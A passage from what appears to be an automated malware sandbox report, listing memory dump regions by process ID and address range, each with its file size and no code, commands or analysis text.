                                                                                                                          Filesize

                                                                                                                          100KB

                                                                                                                        • memory/4248-140-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          1.5MB

                                                                                                                        • memory/4248-143-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          1.5MB

                                                                                                                        • memory/4248-139-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          1.5MB

                                                                                                                        • memory/4248-134-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          100KB

                                                                                                                        • memory/4248-135-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          572KB

                                                                                                                        • memory/4248-138-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          100KB

                                                                                                                        • memory/4248-144-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          152KB

                                                                                                                        • memory/4248-133-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          572KB

                                                                                                                        • memory/4248-142-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          1.5MB

                                                                                                                        • memory/4248-137-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          572KB

                                                                                                                        • memory/4448-335-0x0000000002F20000-0x000000000306A000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          1.3MB

                                                                                                                        • memory/4448-340-0x00000000031A0000-0x00000000031EA000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          296KB

                                                                                                                        • memory/4448-362-0x0000000000400000-0x0000000002F1D000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          43.1MB

                                                                                                                        • memory/4456-692-0x0000019C55550000-0x0000019C5559D000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          308KB

                                                                                                                        • memory/4456-677-0x0000019C55610000-0x0000019C55682000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          456KB

                                                                                                                        • memory/4608-265-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          80KB

                                                                                                                        • memory/4692-221-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          80KB

                                                                                                                        • memory/4716-373-0x00000000007B0000-0x00000000007FC000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          304KB

                                                                                                                        • memory/4716-379-0x0000000000400000-0x000000000058E000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          1.6MB

                                                                                                                        • memory/4728-384-0x0000000002F00000-0x000000000304A000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          1.3MB

                                                                                                                        • memory/4728-354-0x0000000000400000-0x0000000002EFC000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          43.0MB

                                                                                                                        • memory/4728-387-0x0000000002F00000-0x000000000304A000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          1.3MB

                                                                                                                        • memory/4780-242-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/4796-228-0x0000000000060000-0x0000000000061000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/4796-252-0x00000000021E0000-0x0000000002256000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          472KB

                                                                                                                        • memory/4796-238-0x0000000002270000-0x0000000002271000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/4824-224-0x0000000000FA0000-0x0000000000FA1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/4824-444-0x000000001CBC0000-0x000000001CBC2000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          8KB

                                                                                                                        • memory/4964-453-0x0000000004C50000-0x0000000004D26000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          856KB

                                                                                                                        • memory/4964-461-0x0000000000400000-0x0000000002F6E000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          43.4MB

                                                                                                                        • memory/4964-450-0x0000000003080000-0x00000000031CA000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          1.3MB

                                                                                                                        • memory/5176-571-0x0000000002A70000-0x0000000002A71000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/5260-605-0x0000000005210000-0x0000000005211000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/5504-594-0x0000000003110000-0x0000000003111000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/5580-601-0x0000000004DD0000-0x0000000004DD1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                        • memory/5620-631-0x0000000004A30000-0x0000000004A7E000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          312KB

                                                                                                                        • memory/5620-635-0x0000000004BF0000-0x0000000004C7E000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          568KB

                                                                                                                        • memory/5620-681-0x0000000000400000-0x0000000002F42000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          43.3MB

                                                                                                                        • memory/5920-687-0x0000000003400000-0x000000000345D000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          372KB

                                                                                                                        • memory/5920-675-0x0000000004D97000-0x0000000004E98000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          1.0MB